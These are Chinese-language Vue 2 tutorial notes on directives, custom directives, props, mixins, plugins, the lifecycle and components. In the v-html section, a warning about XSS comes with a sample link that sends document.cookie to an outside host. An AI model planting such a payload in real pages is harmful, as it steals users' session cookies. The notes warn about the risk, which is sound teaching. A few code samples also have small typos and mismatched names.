D28 Vue2 + Vue3 K44-K63

D28.Vue

 F7.内置指令 + 自定义指令(K44-K49)

     之前学过的指令:

v-bind 单向绑定解析表达式,可简写为**:**
v-model 双向数据绑定
v-for 遍历数组 / 对象 / 字符串
v-on 绑定事件监听,可简写为**@**
v-show 条件渲染 (动态控制节点是否展示)
v-if 条件渲染(动态控制节点是否存存在)
v-else-if 条件渲染(动态控制节点是否存存在)
v-else 条件渲染(动态控制节点是否存存在)

  A.内置指令
xv-text 指令
   1)v-text指令:(使用的比较少)
     作用:向其所在的节点中渲染文本内容
     与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会

<!-- 准备好一个容器-->
<div id="root">
    <div>你好,{{name}}</div>
    <div v-text="name"></div>
    <div v-text="str"></div>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    new Vue({
        el:'#root',
        data:{
            name:'张三',
            str:'<h3>你好啊!</h3>'
        }
    })
</script>

  2.v-html 指令
   1)v-html指令:(使用的很少)
     作用:向指定节点中渲染包含html结构的内容
     与插值语法的区别:

  • v-html会替换掉节点中所有的内容,{{xx}}则不会
  • v-html可以识别html结构
  •      严重注意:v-html有安全性问题!

  • 在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击
  • 一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
  • <!-- 准备好一个容器-->
    <div id="root">
        <div>你好,{{name}}</div>
        <div v-html="str"></div>
        <div v-html="str2"></div>
    </div>
    
    <script type="text/javascript">
        Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
    
        new Vue({
            el:'#root',
            data:{
                name:'张三',
                str:'<h3>你好啊!</h3>',
                str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>我系渣渣辉,系兄弟就来砍我</a>',
            }
        })
    </script>
    

      3.v-cloak 指令
       1)v-cloak指令(没有值):
         本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性
         使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题

    <style>
        [v-cloak]{
            display:none;
        }
    </style>
    <!-- 准备好一个容器-->
    <div id="root">
        <h2 v-cloak>{{name}}</h2>
    </div>
    <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
    
    <script type="text/javascript">
        console.log(1)
        Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
    
        new Vue({
            el:'#root',
            data:{
                name:'尚硅谷'
            }
        })
    </script>
    

      4.v-once 指令
       1)v-once指令:(用的少)
         v-once所在节点在初次动态渲染后,就视为静态内容了
         以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能

    <!-- 准备好一个容器-->
    <div id="root">
        <h2 v-once>初始化的n值是:{{ n }}</h2>
        <h2>当前的n值是:{{ n }}</h2>
        <button @click="n++">点我n+1</button>
    </div>
    
    <script type="text/javascript">
        Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
    
        new Vue({
            el:'#root',
            data:{
                n:1
            }
        })
    </script>
    

    在这里插入图片描述

      5.v-pre 指令
       1)v-pre指令:
         跳过其所在节点的编译过程
         可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译

    <div id="root">
      <h2 v-pre>Vue其实很简单</h2>
      <h2 >当前的n值是:{{n}}</h2>
      <button @click="n++">点我n+1</button>
    </div>
    
    <script type="text/javascript">
      Vue.config.productionTip = false
      new Vue({ el:'#root', data:{n:1} })
    </script>
    

         Django中模板语法也是{{}},使用这个是防止冲突
      2.自定义指令
       1)directives
         记住这里面就是操作Dom的
        需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍
        需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点
          语法:
          局部指令:

    new Vue({															
      directives:{ 
        指令名:配置对象 
      }   
    })
    
    new Vue({															
      directives:{ 
        指令名:回调函数 
      }   
    })
    

          全局指令:

    Vue.directive(指令名, 配置对象)
    或
    Vue.directive(指令名, 回调函数)
    
    
    Vue.directive('fbind', {
        // 指令与元素成功绑定时(一上来)
        bind(element, binding) {	// element就是DOM元素,binding就是要绑定的
          element.value = binding.value
        },
        // 指令所在元素被插入页面时
        inserted(element, binding) {
          element.focus()
        },
        // 指令所在的模板被重新解析时(data数据改变导致模板重新解析)
        update(element, binding) {
          element.value = binding.value
        }
    })
    

       2)配置对象中常用的3个回调:
        a. bind:指令与元素成功绑定时调用
        b. inserted:指令所在元素被插入页面时调用
        c. update:指令所在模板结构被重新解析时调用
       3)element就是DOM元素,binding就是要绑定的对象,它包含以下属性:name、value、oldValue、expression、arg、modifiers
         注:
        a. 指令定义时不加v-,但使用时要加v-
        b. 指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名

    new Vue({
    	el: '#root',
    	data: {
    		n:1
    	},
    	directives: {
    		'big-number'(element,binding) {
    			element.innerText = binding.value * 10
    		}
    	}
    })
    

       4)定义全局指令

    <!-- 准备好一个容器-->
    <div id="root">
        <input type="text" v-fbind:value="n">
    </div>
    
    <script type="text/javascript">
        Vue.config.productionTip = false
    
        //定义全局指令
        Vue.directive('fbind', {
            // 指令与元素成功绑定时(一上来)
            bind(element, binding){
                element.value = binding.value
            },
            // 指令所在元素被插入页面时
            inserted(element, binding){
                element.focus()
            },
            // 指令所在的模板被重新解析时
            update(element, binding){
                element.value = binding.value
            }
        })
        
        new Vue({
            el:'#root',
            data:{
                name: '尚硅谷',
                n: 1
            }
        })
    
    </script>
    

       5)局部指令

    <title>自定义指令</title>
    <script type="text/javascript" src="../js/vue.js"></script>
    
    <div id="root">
      <h2>{{ name }}</h2>
      <h2>当前的n值是:<span v-text="n"></span> </h2>
      <!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> -->
      <h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
      <button @click="n++">点我n+1</button>
      <hr />
      <input type="text" v-fbind:value="n">
    </div>
    
    <script type="text/javascript">
      Vue.config.productionTip = false
    
      // 定义全局指令
      /* Vue.directive('fbind',{
    		// 指令与元素成功绑定时(一上来)
    		bind(element,binding){
    			element.value = binding.value
    		},
    		// 指令所在元素被插入页面时
    		inserted(element,binding){
    			element.focus()
    		},
    		// 指令所在的模板被重新解析时
    		update(element,binding){
    			element.value = binding.value
    		}
    	}) */
    
      new Vue({
        el: '#root',
        data: {
          name: '尚硅谷',
          n: 1
        },
        directives: {
          // big函数何时会被调用?
          // 1.指令与元素成功绑定时(一上来) 2.指令所在的模板被重新解析时
          /* 'big-number'(element,binding){
    				// console.log('big')
    				element.innerText = binding.value * 10
    			}, */
          big(element, binding) {
            console.log('big', this) // !注意此处的 this 是 window
            // console.log('big')
            element.innerText = binding.value * 10
          },
          fbind: {
            // 指令与元素成功绑定时(一上来)
            bind(element, binding) {
              element.value = binding.value
            },
            // 指令所在元素被插入页面时
            inserted(element, binding) {
              element.focus()
            },
            // 指令所在的模板被重新解析时
            update(element, binding) {
              element.value = binding.value
            }
          }
        }
      })
    </script>
    

     F8.部分函数 + Vue零碎的一些知识(K50-K56)

      1.函数
       1)render函数
         使用 import 导入第三方库的时候不需要 加 ‘./’
         导入我们自己写的:

    import App from './App.vue'
    

         导入第三方的

    import Vue from 'vue'
    

         不需要在 from ‘vue’ 加 ‘./’ 的原因是第三方库 node_modules 人家帮我们配置好了
         我们通过 import 导入第三方库,在第三方库的 package.json 文件中确定了我们引入的是哪个文件
         通过 module 确定了我们要引入的文件
         备注:这是ESM默认导入的文件,CommonJS默认导入mian中路径的文件
         回到 render 函数
         之前的写法是这样:

    import App from './App.vue'
    
    new Vue({
    	el:'#root',
    	template:`<App></App>`,
    	components:{App},
    })
    

         如果这样子写,运行的话会引发如下的报错

    在这里插入图片描述
         报错的意思是,是在使用运行版本的 vue ,没有模板解析器
         从上面的小知识可以知道,我们引入的 vue 不是完整版的,是残缺的(为了减小vue的大小)。所以残缺的vue.js 只有通过 render 函数才能把项目给跑起来
        a. 来解析一下render

    // render最原始写的方式
    // render是个函数,还能接收到参数a
    // 这个 createElement 很关键,是个回调函数
    new Vue({
      render(createElement) {
          // 这个 createElement 回调函数能创建元素
          // 因为残缺的vue 不能解析 template,所以render就来帮忙解决这个问题
          // createElement 能创建具体的元素
          return createElement('h1', 'hello')
      }
    }).$mount('#app')
    

       2)关于不同版本的函数
         来个不同版本 vue 的区别
        a. vue.js与vue.runtime.xxx.js的区别:
          vue.js是完整版的Vue,包含:核心功能+模板解析器
          vue.runtime.xxx.js是运行版的Vue,只包含:核心功能;没有模板解析器。esm 就是 ES6 module
        b. 因为vue.runtime.xxx.js没有模板解析器,所以不能使用template配置项,需要使用render函数接收到的createElement函数去指定具体内容
       3)vue.config.js 配置文件
         vue inspect > output.js可以查看到Vue脚手架的默认配置
         使用vue.config.js可以对脚手架进行个性化定制,和package.json同级目录

    module.exports = {
      pages: {
        index: {
          entry: 'src/index/main.js' // 入口
        }
      },
      lineOnSave: false	// 关闭语法检查
    }
    

      2.vue 零碎的一些知识
      A.ref属性
         被用来给元素或子组件注册引用信息(id的替代者)
         应用在html标签上获取的是真实DOM元素,应用在组件标签上是组件实例对象vc
         使用方式:
         打标识:< h1 ref=“xxx”>…< /h1> 或
         获取:this.$refs.xxx

    <template>
      <div>
        <h1 v-text="msg" ref="title"></h1>
        <button ref="btn" @click="showDOM">点我输出上方的DOM元素</button>
        <School ref="sch"/>
      </div>
    </template>
    
    <script>
      import School from './components/School'
    
      export default {
        name:'App',
        components:{ School },
        data() {
          return {
            msg:'欢迎学习Vue!'
          }
        },
        methods: {
          showDOM(){
            console.log(this.$refs.title)	// 真实DOM元素
            console.log(this.$refs.btn)		// 真实DOM元素
            console.log(this.$refs.sch)		// School组件的实例对象(vc)
          }
        },
      }
    </script>
    

    在这里插入图片描述
      B.props 配置项
       1)功能:让组件接收外部传过来的数据
       2)传递数据:这里age前加:,通过v-bind使得里面的18是数字
       3)接收数据:
         第一种方式(只接收):props:[‘name’]
         第二种方式(限制类型):props:{name:String, age:Number}
         第三种方式(限制类型、限制必要性、指定默认值)

    props:{
    	name:{
            type:String, //类型
            required:true, //必要性
            default:'老王' //默认值
    	}
    }
    

        注:props是只读的,Vue底层会监测你对props的修改,如果进行了修改,就会发出警告,若业务需求确实需要修改,那么请复制props的内容到data中一份,然后去修改data中的数据
       4)vue props传Array/Object类型值,子组件报错解决办法
    在这里插入图片描述

         其实看错误信息也就知道了,就是Props在传值类型为Object/Array时,如果需要配置default值(如果没有配置default值,则不会有这个报错),那必须要使用函数来return这个default值,而不能像基本数据类型那样直接写default:xxx

    //错误写法
    props: {
    	rlist: {
    		type:Array,
    		default: [1, 2, 3, 4, 5]
    	}
    }
    

         解决方法

    //正确写法
    props: {
    	rlist: {
    		type:Array,
    		default: function() {
    			return [1, 2, 3, 4, 5]
    		}
    	}
    }
    //当然,我们可以使用箭头函数来写,还显得简单很多
    props: {
    	rlist: {
    		type:Array,
    		default: () => [1, 2, 3, 4, 5]
    	}
    }
    

       5)示例代码:父组件给子组件传数据
         App.vue

    <template>
      <div>
        <Student name="李四" sex="" :age="18"/>
        <Student name="王五" sex="" :age="18"/>
      </div>
    </template>
    
    <script>
      import Student from './components/Student'
    
      export default {
        name:'App',
        components:{ Student }
      }
    </script>
    

         School.vue

    <template>
      <div>
        <h1>{{ msg }}</h1>
        <h2>学生姓名:{{ name }}</h2>
        <h2>学生性别:{{ sex }}</h2>
        <h2>学生年龄:{{ myAge + 1 }}</h2>
        <button @click="updateAge">尝试修改收到的年龄</button>
      </div>
    </template>
    
    <script>
    export default {
      name: "Student",
      data() {
        console.log(this);
        return {
          msg: "我是一个bilibili大学的学生",
          myAge: this.age,
        };
      },
      methods: { updateAge() { this.myAge++; }, },
      // 简单声明接收
      // props:['name','age','sex']
    
      // 接收的同时对数据进行类型限制
      //   props: {
      //     name: String,
      //     age: Number,
      //     sex: String,
      //   }
    
      // 接收的同时对数据:进行类型限制+默认值的指定+必要性的限制
      props: {
        name: {
          type: String, 	//name的类型是字符串
          required: true, //name是必要的
        },
        age: {
          type: Number,
          default: 99, //默认值
        },
        sex: {
          type: String,
          required: true,
        },
      },
    };
    </script>
    

      C.mixin混入
       1)混入 (mixin) 提供了一种非常灵活的方式,来分发 Vue 组件中的可复用功能。一个混入对象可以包含任意组件选项。当组件使用混入对象时,所有混入对象的选项将被“混合”进入该组件本身的选项
         功能:可以把多个组件共用的配置提取成一个混入对象

    const mixin = {
        data() {....},
        methods: {....}
        ....
    }
    

       2)使用混入
         全局混入Vue.mixin(xxx)
         局部混入mixins:[‘xxx’]
       3)局部混入
         src/mixin.js

    export const hunhe = {
    	methods: {
    		showName(){
    			alert(this.name)
    		}
    	},
    	mounted() {
    		console.log('你好啊!')
    	},
    }
    
    export const hunhe2 = {
    	data() {
    		return {
    			x:100,
    			y:200
    		}
    	},
    }
    

         src/components/School.vue

    <template>
      <div>
        <h2 @click="showName">学校名称:{{name}}</h2>
        <h2>学校地址:{{address}}</h2>
      </div>
    </template>
    
    <script>
      //引入一个hunhe
      import {hunhe,hunhe2} from '../mixin'
    
      export default {
        name:'School',
        data() {
          return {
            name:'尚硅谷',
            address:'北京',
            x:666
          }
        },
        mixins:[hunhe,hunhe2]	// 局部混入
      }
    </script>
    

         src/components/Student.vue

    <template>
      <div>
        <h2 @click="showName">学生姓名:{{name}}</h2>
        <h2>学生性别:{{sex}}</h2>
      </div>
    </template>
    
    <script>
      import {hunhe,hunhe2} from '../mixin'
    
      export default {
        name:'Student',
        data() {
          return {
            name:'张三',
            sex:'男'
          }
        },
        mixins:[hunhe,hunhe2]	// 局部混入
      }
    </script>
    

       4)全局混入
         src/main.js

    import Vue from 'vue'
    import App from './App.vue'
    import {mixin} from './mixin'
    
    Vue.config.productionTip = false
    Vue.mixin(hunhe)		// 全局混合引入
    Vue.mixin(hunhe2)	// 全局混合
    
    new Vue({
        el:"#app",
        render: h => h(App)
    })
    

         这样所有组件就自动使用这些配置了,不推荐使用全局混入
         注:1组件和混入对象含有同名选项时,这些选项将以恰当的方式进行“合并”,在发生冲突时以组件优先

    var mixin = {
    	data: function () {
    		return {
        		message: 'hello',
                foo: 'abc'
        	}
      	}
    }
    
    new Vue({
      	mixins: [mixin],
      	data () {
        	return {
          		message: 'goodbye',
                	bar: 'def'
        	}
        },
      	created () {
        	console.log(this.$data)
        	// => { message: "goodbye", foo: "abc", bar: "def" }
      	}
    })
    

         注:2同名生命周期钩子将合并为一个数组,因此都将被调用。另外,混入对象的钩子将在组件自身钩子之前调用

    var mixin = {
      	created () {
        	console.log('混入对象的钩子被调用')
      	}
    }
    
    new Vue({
      	mixins: [mixin],
      	created () {
        	console.log('组件钩子被调用')
      	}
    })
    
    // => "混入对象的钩子被调用"
    // => "组件钩子被调用"
    

      D.plugin 插件
         功能:用于增强Vue 2.本质:包含install方法的一个对象,install的第一个参数是Vue构造函数,第二个以后的参数是插件使用者传递的数据 3.定义插件(见下 src/plugin.js) 4.使用插件:Vue.use()
         Vue.use执行之后,会自动调用install方法,所有组件就可以使用里面定义的东西
         src/plugin.js

    export default {
      install(Vue,x,y,z){
        console.log(x,y,z)
          
        //定义全局指令
        Vue.directive('fbind',{
          //指令与元素成功绑定时(一上来)
          bind(element,binding){element.value = binding.value},
          //指令所在元素被插入页面时
          inserted(element,binding){element.focus()},
          //指令所在的模板被重新解析时
          update(element,binding){element.value = binding.value}
        })
    
        //定义混入
        Vue.mixin({
          data() {return {x:100,y:200}},
        })
    
        //给Vue原型上添加一个方法(vm和vc就都能用了)
        Vue.prototype.hello = ()=>{alert('你好啊')}
      }
    }
    

         src/main.js

    import Vue from 'vue'
    import App from './App.vue'
    import plugins from './plugins'	// 引入插件
    
    Vue.config.productionTip = false
    
    Vue.use(plugins,1,2,3)	// 应用(使用)插件
    
    new Vue({
    	el:'#app',
    	render: h => h(App)
    })
    

         src/components/School.vue

    <template>
      <div>
        <h2>学校名称:{{ name | mySlice }}</h2>
        <h2>学校地址:{{ address }}</h2>
        <button @click="test">点我测试一个hello方法</button>
      </div>
    </template>
    
    <script>
      export default {
        name:'School',
        data() {
          return {
            name:'尚硅谷atguigu',
            address:'北京',
          }
        },
        methods: {
          test(){
            this.hello()
          }
        },
      }
    </script>
    

         src/components/Student.vue

    <template>
      <div>
        <h2>学生姓名:{{ name }}</h2>
        <h2>学生性别:{{ sex }}</h2>
        <input type="text" v-fbind:value="name">
      </div>
    </template>
    
    <script>
      export default {
        name:'Student',
        data() {
          return {
            name:'张三',
            sex:'男'
          }
        },
      }
    </script>
    

      E.scoped
       1)scoped样式
         作用:让样式在局部生效,防止冲突
         写法:< style scoped>
        具体案例:

    <style lang="less" scoped>
    	.demo{
    		background-color: pink;
    		.atguigu{
    			font-size: 40px;
    		}
    	}
    </style>
    

     F9.生命周期 + 组件(K57-K63)

      1.生命周期
       1)引出生命周期
          又名生命周期回调函数、生命周期函数、生命周期钩子
          是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数
          生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的
          生命周期函数中的this 指向是vm或组件实例对象

    <div id="root">
      <h2 v-if="a">你好啊</h2>
      <h2 :style="{opacity}">看笔记学Vue</h2>
    </div>
    
    <script type="text/javascript">
      Vue.config.productionTip = false
      new Vue({
        el: '#root',
        data: {
          a: false,
          opacity: 1
        },
        methods: {
        },
        // Vue 完成模板的解析并把初始的真实 DOM 元素放入页面后(挂载完毕)调用 mounted
        mounted() {
          console.log('mounted', this)
          setInterval(() => {
            this.opacity -= 0.01
            if(this.opacity <= 0) this.opacity = 1
          }, 16)
        },
      })
    
      // 通过外部的定时器实现(不推荐)
      // setInterval(() => {
      // 		vm.opacity -= 0.01
      // 		if(vm.opacity <= 0) vm.opacity = 1
      // },16)
    </script>
    

    在这里插入图片描述

       2)分析生命周期

    在这里插入图片描述

    <title>分析生命周期</title>
    	<script type="text/javascript" src="../js/vue.js"></script>
    
    	<div id="root" :x="n">
    		<h2 v-text="n"></h2>
    		<h2>当前的n值是:{{ n }}</h2>
    		<button @click="add">点我n+1</button>
    		<button @click="bye">点我销毁vm</button>
    	</div>
    
    <script type="text/javascript">
    	Vue.config.productionTip = false
    
    	new Vue({
    		el: '#root',
    		// template:`
    		// 	<div>
    		// 		<h2>当前的n值是:{{n}}</h2>
    		// 		<button @click="add">点我n+1</button>
    		// 	</div>
    		// `,
    		data: {
    			n: 1
    		},
    		methods: {
    			add() { console.log('add')
    				this.n++
    			},
    			bye() {
    				console.log('bye')
    				this.$destroy()
    			}
    		},
    		watch: {
    			n() {
    				console.log('n变了')
    			}
    		},
    		beforeCreate() {console.log('beforeCreate')},
    		created() {console.log('created')},
    		beforeMount() {console.log('beforeMount')},
    		mounted() {console.log('mounted')},
    		beforeUpdate() {console.log('beforeUpdate')},
    		updated() {console.log('updated')},
    		beforeDestroy() {console.log('beforeDestroy')},
    		destroyed() {console.log('destroyed')},
    	})
    </script>
    

         来讲一下图中间大框框的内容
    在这里插入图片描述
          先判断有没有 el 这个配置项,没有就调用 vm.$mount(el),如果两个都没有就一直卡着,显示的界面就是最原始的容器的界面。有el这个配置项,就进行判断有没有template这个配置项,没有 template 就将el绑定的容器编译为 vue 模板,来个对比图
          没编译前的:
    在这里插入图片描述

          编译后:
    在这里插入图片描述

        template 的作用
          第一种情况,有 template:
          如果 el 绑定的容器没有任何内容,就一个空壳子,但在 Vue 实例中写了 template,就会编译解析这个 template 里的内容,生成虚拟 DOM,最后将 虚拟 DOM 转为 真实 DOM 插入页面(其实就可以理解为 template 替代了 el 绑定的容器的内容)
          第二种情况,没有 template:
          没有 template,就编译解析 el 绑定的容器,生成虚拟 DOM,后面就顺着生命周期执行下去
       3)总结生命周期
        a. beforeCreate(创建前):数据监测(getter和setter)和初始化事件还未开始,此时 data 的响应式追踪、event/watcher 都还没有被设置,也就是说不能访问到data、computed、watch、methods上的方法和数据
        b. created(创建后):实例创建完成,实例上配置的 options 包括 data、computed、watch、methods 等都配置完成,但是此时渲染得节点还未挂载到 DOM,所以不能访问到 $ el属性
        c. beforeMount(挂载前):在挂载开始之前被调用,相关的render函数首次被调用。此阶段Vue开始解析模板,生成虚拟DOM存在内存中,还没有把虚拟DOM转换成真实DOM,插入页面中。所以网页不能显示解析好的内容
        d. mounted(挂载后):在el被新创建的 vm.$el(就是真实DOM的拷贝)替换,并挂载到实例上去之后调用(将内存中的虚拟DOM转为真实DOM,真实DOM插入页面)。此时页面中呈现的是经过Vue编译的DOM,这时在这个钩子函数中对DOM的操作可以有效,但要尽量避免。一般在这个阶段进行:开启定时器,发送网络请求,订阅消息,绑定自定义事件等等
        e. beforeUpdate(更新前):响应式数据更新时调用,此时虽然响应式数据更新了,但是对应的真实 DOM 还没有被渲染(数据是新的,但页面是旧的,页面和数据没保持同步)
        f. updated(更新后) :在由于数据更改导致的虚拟DOM重新渲染和打补丁之后调用。此时 DOM 已经根据响应式数据的变化更新了。调用时,组件 DOM已经更新,所以可以执行依赖于DOM的操作。然而在大多数情况下,应该避免在此期间更改状态,因为这可能会导致更新无限循环。该钩子在服务器端渲染期间不被调用
        g. beforeDestroy(销毁前):实例销毁之前调用。这一步,实例仍然完全可用,this 仍能获取到实例。在这个阶段一般进行关闭定时器,取消订阅消息,解绑自定义事件
        h. destroyed(销毁后):实例销毁后调用,调用后,Vue 实例指示的所有东西都会解绑定,所有的事件监听器会被移除,所有的子实例也会被销毁。该钩子在服务端渲染期间不被调用
         常用的生命周期钩子:

  • mounted发送ajax请求、启动定时器、绑定自定义事件、订阅消息等初始化操作
  • beforeDestroy清除定时器、解绑自定义事件、取消订阅消息等收尾工作
  •      关于销毁Vue实例

  • 销毁后借助Vue开发者工具看不到任何信息
  • 销毁后自定义事件会失效,但原生DOM事件依然有效
  • 一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了
  • <div id="root">
      <h2 :style="{opacity}">欢迎学习Vue</h2>
      <button @click="opacity = 1">透明度设置为1</button>
      <button @click="stop">点我停止变换</button>
    </div>
    
    <script type="text/javascript">
      Vue.config.productionTip = false
      new Vue({
        el: '#root',
        data: {
          opacity: 1
        },
        methods: {
          stop() {
            //摧毁整个Vue实例,直接停掉还能通过别人方法修改,使用这个就是完全摧毁
            this.$destroy()
          }
        },
        // Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
        mounted() {
          console.log('mounted', this)
          this.timer = setInterval(() => {
            console.log('setInterval')
            this.opacity -= 0.01
            if (this.opacity <= 0) this.opacity = 1
          }, 16)
        },
        beforeDestroy() {
          clearInterval(this.timer)
          console.log('vm即将驾鹤西游了')
        },
      })
    </script>
    

      2.组件
      A.模块与组件、模块化与组件化
        a. 模块
          理解:向外提供特定功能的 js 程序,一般就是一个 js 文件
          为什么:js 文件很多很复杂
          作用:复用、简化 js 的编写,提高 js 运行效率
        b. 组件
          定义:用来实现局部功能的代码和资源的集合(html/css/js/image…)
          为什么:一个界面的功能很复杂
          作用:复用编码,简化项目编码,提高运行效率
          模块化 当应用中的 js 都以模块来编写的,那这个应用就是一个模块化的应用 组件化 当应用中的功能都是多组件的方式来编写的,那这个应用就是一个组件化的应用
      B.非单文件组件
         非单文件组件:一个文件中包含有 n 个组件 单文件组件:一个文件中只包含有 1 个组件
       1)基本使用
         Vue中使用组件的三大步骤:

  • 定义组件(创建组件)
  • 注册组件
  • 使用组件(写组件标签)
  •     定义组件
          使用**Vue.extend(options)**创建,其中options和new Vue(options)时传入的那个options几乎一样,但也有点区别;
        区别如下:

  • el不要写,为什么? ——— 最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器
  • data必须写成函数,为什么? ———— 避免组件被复用时,数据存在引用关系
  •     讲解一下面试小问题:data必须写成函数:

          这是js底层设计的原因:举个例子
          对象形式

    let data = {
        a: 99,
        b: 100
    }
    
    let x = data;
    let y = data;
    // x 和 y 引用的都是同一个对象,修改 x 的值, y 的值也会改变
    x.a = 66;
    console.loh(x); // a:66 b:100
    console.log(y); // a:66 b:100
    

          函数形式

    function data() {
        return {
            a: 99,
            b: 100
        }
    }
    let x = data();
    let y = data();
    console.log(x === y); // false
    // 我的理解是函数每调用一次就创建一个新的对象返回给他们
    

          备注:使用template可以配置组件结构
         创建一个组件案例:Vue.extend() 创建

    <script type="text/javascript">
        Vue.config.productionTip = false
    
        //第一步:创建school组件
        const school = Vue.extend({
            template:`
    				<div class="demo">
    					<h2>学校名称:{{schoolName}}</h2>
    					<h2>学校地址:{{address}}</h2>
    					<button @click="showName">点我提示学校名</button>	
        </div>
    			`,
            // el:'#root', //组件定义时,一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器。
            data(){
                return {
                    schoolName:'尚硅谷',
                    address:'北京昌平'
                }
            },
            methods: {
                showName(){
                    alert(this.schoolName)
                }
            },
        })
    
        //第一步:创建student组件
        const student = Vue.extend({
            template:`
    				<div>
    					<h2>学生姓名:{{studentName}}</h2>
    					<h2>学生年龄:{{age}}</h2>
        </div>
    			`,
            data(){
                return {
                    studentName:'张三',
                    age:18
                }
            }
        })
    
        //第一步:创建hello组件
        const hello = Vue.extend({
            template:`
    				<div>	
    					<h2>你好啊!{{name}}</h2>
        </div>
    			`,
            data(){
                return {
                    name:'Tom'
                }
            }
        })
    </script>
    

       2)注册组件

  • 局部注册:靠new Vue的时候传入components选项
  • 全局注册:靠Vue.component('组件名',组件)
  •      局部注册(只有注册了那个组件的才能使用)
    <script>
    	//创建vm
        new Vue({
            el: '#root',
            data: {
                msg:'你好啊!'
            },
            //第二步:注册组件(局部注册)
            components: {
                //左边才是组件名
                school: school,
                student: student
                // ES6简写形式
                // school,
                // student
            }
        })
    </script>
    

         全局注册(所有的都可以使用)

    <script>
    	//第二步:全局注册组件
    	Vue.component('hello', hello)
    </script>
    

       3)使用组件

    <!-- 准备好一个容器-->
    <div id="root">
        <hello></hello>
        <hr>
        <h1>{{msg}}</h1>
        <hr>
        <!-- 第三步:编写组件标签 -->
        <school></school>
        <hr>
        <!-- 第三步:编写组件标签 -->
        <student></student>
    </div>
    

       4)组件注意事项
         关于组件名:
         一个单词组成:

  • 第一种写法(首字母小写):school
  • 第二种写法**(首字母大写)**:School(推荐)
  •      多个单词组成:

  • 第一种写法**(kebab-case命名)**:my-school
  • 第二种写法**(CamelCase命名)**:MySchool (需要Vue脚手架支持)(推荐)
  •     注:
          组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行
          可以使用name配置项指定组件在开发者工具中呈现的名字
         关于组件标签:
          < school>< /school>
          第二种写法:< school/>
          注:不用使用脚手架时,会导致后续组件不能渲染
         一个简写方式:

    const school = Vue.extend(options) 可简写为:const school = options
    
    	<div id="root">
    		<h2>{{msg}}</h2>
    		<school></school>
    	</div>
    
    <script type="text/javascript">
    	Vue.config.productionTip = false
    
    	//定义组件
    	const school = Vue.extend({
    		name: 'atguigu', // 组件给自己起个名字,用于在浏览器开发工具上显示
    		template: `
    				<div>
    					<h3>学校名称:{{name}}</h3>	
    					<h3>学校地址:{{address}}</h3>	
    				</div>
    			`,
    		data() {
    			return {
    				name: 'dselegent',
    				address: '长沙'
    			}
    		}
    	})
    
    	new Vue({
    		el: '#root',
    		data: {
    			msg: '欢迎学习Vue!'
    		},
    		components: {
    			school
    		}
    	})
    </script>
    

       5)组件的嵌套

    <div id="root"></div>
    
    <script type="text/javascript">
      Vue.config.productionTip = false
    
      //定义student组件
      const student = Vue.extend({
        name: 'student',
        template: `
    				<div>
    					<h4>学生姓名:{{name}}</h4>	
    					<h4>学生年龄:{{age}}</h4>	
      			</div>
    			`,
        data() {return {name: '尚硅谷',age: 18}}
      })
    
      //定义school组件
      const school = Vue.extend({
        name: 'school',
        template: `
    				<div>
    					<h3>学校名称:{{name}}</h3>	
    					<h3>学校地址:{{address}}</h3>	
    					<student></student>
     			  </div>
    			`,
        data() {return {name: '尚硅谷',address: '北京'}},
        //注册组件(局部)
        components: { student }
      })
    
      //定义hello组件
      const hello = Vue.extend({
        template: `<h3>{{msg}}</h3>`,
        data() {return {msg: '欢迎来到尚硅谷学习!'}}
      })
    
      //定义app组件
      const app = Vue.extend({
        template: `
    				<div>	
    					<hello></hello>
    					<school></school>
      			</div>
    			`,
        components: { school, hello }
      })
    
      //创建vm
      new Vue({
        el: '#root',
        template: '<app></app>',
        //注册组件(局部)
        components: { app }
      })
    </script>
    

       6)VueComponent

  • school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的
  • 我们只需要写``或``,Vue解析时会帮我们创建school组件的实例对象,即Vue帮我们执行的:`new VueComponent(options)`
  • 特别注意:每次调用`Vue.extend`,返回的都是一个全新的`VueComponent`,即不同组件是不同的对象
  • 关于this指向:
  •       组件配置中:data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是VueComponent实例对象
          new Vue(options)配置中:data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是Vue实例对象

  • VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象)。Vue的实例对象,以后简称vm
  • <div id="root">
      <school></school>
      <hello></hello>
    </div>
    
    <script type="text/javascript">
      Vue.config.productionTip = false
    
      // 定义school组件
      const school = Vue.extend({
        name: 'school',
        template: `
    				<div>
    					<h2>学校名称:{{name}}</h2>	
    					<h2>学校地址:{{address}}</h2>	
    					<button @click="showName">点我提示学校名</button>
      			</div>
    			`,
        data() {return {name: '尚硅谷',address: '北京'}},
        methods: {showName() {console.log('showName', this)}},
      })
    
      const test = Vue.extend({
        template: `<span>atguigu</span>`
      })
    
      // 定义hello组件
      const hello = Vue.extend({
        template: `
    				<div>
    					<h2>{{msg}}</h2>
    					<test></test>	
      			</div>
    			`,
        data() {return {msg: '你好啊!'}},
        components: { test }
      })
    
      // console.log('@',school)
